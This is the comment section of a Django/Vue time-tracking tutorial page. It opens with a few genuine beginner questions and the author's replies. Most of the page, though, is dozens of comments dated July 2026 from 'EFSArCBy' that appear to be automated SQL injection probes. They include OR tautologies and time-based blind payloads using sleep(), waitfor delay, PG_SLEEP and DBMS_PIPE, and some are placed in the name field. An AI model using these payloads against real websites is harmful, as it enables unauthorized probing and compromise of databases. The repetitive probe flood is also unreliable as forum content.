Part one - Setting up - Building a time tracking SaaS using Django and Vue

Comments

Daniel Mehlberg | Oct 30, 21 11:49

Hi, I'm just starting with Django/Python.

I'm stuck at the beginning basically.

When I added apps.core to the settings.py I cannot run server again. There is error that module apps.core does not exist.

I've installed apps by pip but still not working.


Stein Ove Helset | Nov 01, 21 06:03

Hi, this comes from some changes in Django.
In you're settings.py, use "apps.core.apps.CoreConfig" instead. And in your "apps/core/apps.py" file, rename "core" to "apps.core" :-)

Paul | Aug 01, 22 12:34

Hi, is there a reason why mine have no styling (everything is just at the top left of page)

Paul | Aug 01, 22 12:41

Hi, dont worry - eventually found error - i made a typo in the css url :)


Stein Ove Helset | Oct 08, 22 06:40

Great :-D

EFSArCBy | Jul 02, 26 10:53

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

-1 OR 2+123-123-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:57

-1 OR 2+841-841-1=0+0+0+1

EFSArCBy | Jul 02, 26 10:57

-1' OR 2+611-611-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:57

-1' OR 2+738-738-1=0+0+0+1 or 'iu4yBlkb'='

EFSArCBy | Jul 02, 26 10:57

-1" OR 2+465-465-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:57

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 10:57

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 10:57

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 10:57

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 10:57

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:57

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:57

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:57

555U4DUgjG6'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:57

555-1 OR 136=(SELECT 136 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:57

555-1) OR 802=(SELECT 802 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:57

555-1)) OR 731=(SELECT 731 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:57

555m92yUhsE' OR 859=(SELECT 859 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:57

555dv24llot') OR 273=(SELECT 273 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:57

5550JjyYU3A')) OR 659=(SELECT 659 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:57

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 10:57

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555'"

EFSArCBy | Jul 02, 26 10:57

@@ybKb1

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

-1 OR 2+670-670-1=0+0+0+1 -- | Jul 02, 26 10:57

555

-1 OR 2+132-132-1=0+0+0+1 | Jul 02, 26 10:57

555

-1' OR 2+529-529-1=0+0+0+1 -- | Jul 02, 26 10:57

555

-1' OR 2+377-377-1=0+0+0+1 or 'MmZX92Da'=' | Jul 02, 26 10:57

555

-1" OR 2+276-276-1=0+0+0+1 -- | Jul 02, 26 10:57

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 10:57

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 10:57

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 10:57

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 10:57

555

EFSArCByQweLxVfd'; waitfor delay '0:0:15' -- | Jul 02, 26 10:57

555

EFSArCByYwkZVoBj' OR 719=(SELECT 719 FROM PG_SLEEP(15))-- | Jul 02, 26 10:57

555

EFSArCByLA0BVbNl') OR 397=(SELECT 397 FROM PG_SLEEP(15))-- | Jul 02, 26 10:57

555

EFSArCByalmftEFu')) OR 576=(SELECT 576 FROM PG_SLEEP(15))-- | Jul 02, 26 10:57

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy'" | Jul 02, 26 10:57

555

@@04lFB | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 02, 26 10:57

555

EFSArCBy | Jul 20, 26 10:50

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

-1 OR 2+406-406-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 10:53

-1 OR 2+719-719-1=0+0+0+1

EFSArCBy | Jul 20, 26 10:53

-1' OR 2+625-625-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 10:53

-1' OR 2+802-802-1=0+0+0+1 or 'xjx2iKIL'='

EFSArCBy | Jul 20, 26 10:53

-1" OR 2+115-115-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 10:53

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 10:53

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 10:53

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 10:53

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 10:53

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 10:53

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 10:53

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 10:53

555A3kbcERg'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 10:53

555-1 OR 592=(SELECT 592 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 10:53

555-1) OR 151=(SELECT 151 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 10:53

555-1)) OR 623=(SELECT 623 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 10:53

555YPRevsre' OR 955=(SELECT 955 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 10:53

555AUYWdKL8') OR 693=(SELECT 693 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 10:53

555D9IiFUce')) OR 840=(SELECT 840 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 10:53

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 10:53

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555'"

EFSArCBy | Jul 20, 26 10:53

@@x4535

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:53

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

-1 OR 2+57-57-1=0+0+0+1 -- | Jul 20, 26 10:54

555

-1 OR 2+827-827-1=0+0+0+1 | Jul 20, 26 10:54

555

-1' OR 2+661-661-1=0+0+0+1 -- | Jul 20, 26 10:54

555

-1' OR 2+304-304-1=0+0+0+1 or 'ydwfYxPl'=' | Jul 20, 26 10:54

555

-1" OR 2+599-599-1=0+0+0+1 -- | Jul 20, 26 10:54

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 10:54

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 10:54

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 10:54

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 10:54

555

EFSArCBymv2hIpEf'; waitfor delay '0:0:15' -- | Jul 20, 26 10:54

555

EFSArCBy7CpMA5HT' OR 60=(SELECT 60 FROM PG_SLEEP(15))-- | Jul 20, 26 10:54

555

EFSArCBykM3FXHCW') OR 804=(SELECT 804 FROM PG_SLEEP(15))-- | Jul 20, 26 10:54

555

EFSArCBygYOn6tqD')) OR 435=(SELECT 435 FROM PG_SLEEP(15))-- | Jul 20, 26 10:54

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy'" | Jul 20, 26 10:54

555

@@mgAy4 | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 20, 26 10:54

555

EFSArCBy | Jul 23, 26 01:43

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

-1 OR 2+110-110-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 01:46

-1 OR 2+396-396-1=0+0+0+1

EFSArCBy | Jul 23, 26 01:46

-1' OR 2+263-263-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 01:46

-1' OR 2+198-198-1=0+0+0+1 or '0I0OXtAw'='

EFSArCBy | Jul 23, 26 01:46

-1" OR 2+146-146-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 01:46

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 01:46

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 01:46

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 01:46

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 01:46

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 01:46

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 01:46

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 01:46

555LznDCsMG'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 01:46

555-1 OR 648=(SELECT 648 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 01:46

555-1) OR 295=(SELECT 295 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 01:46

555-1)) OR 976=(SELECT 976 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 01:46

5552ALUo6ML' OR 388=(SELECT 388 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 01:46

555Cw9X932B') OR 538=(SELECT 538 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 01:46

555RofPCmWX')) OR 155=(SELECT 155 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 01:46

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 01:46

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555'"

EFSArCBy | Jul 23, 26 01:46

@@vHC0I

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

-1 OR 2+528-528-1=0+0+0+1 -- | Jul 23, 26 01:46

555

-1 OR 2+963-963-1=0+0+0+1 | Jul 23, 26 01:46

555

-1' OR 2+248-248-1=0+0+0+1 -- | Jul 23, 26 01:46

555

-1' OR 2+988-988-1=0+0+0+1 or 'mjIWjLZj'=' | Jul 23, 26 01:46

555

-1" OR 2+722-722-1=0+0+0+1 -- | Jul 23, 26 01:46

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 01:46

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 01:46

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 01:46

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 01:46

555

EFSArCByxOlFlfy8'; waitfor delay '0:0:15' -- | Jul 23, 26 01:46

555

EFSArCBySAlqrRli' OR 615=(SELECT 615 FROM PG_SLEEP(15))-- | Jul 23, 26 01:46

555

EFSArCByROVO7IVL') OR 655=(SELECT 655 FROM PG_SLEEP(15))-- | Jul 23, 26 01:46

555

EFSArCBy3YhHnB0G')) OR 595=(SELECT 595 FROM PG_SLEEP(15))-- | Jul 23, 26 01:46

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy'" | Jul 23, 26 01:46

555

@@urFxN | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

EFSArCBy | Jul 23, 26 01:46

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.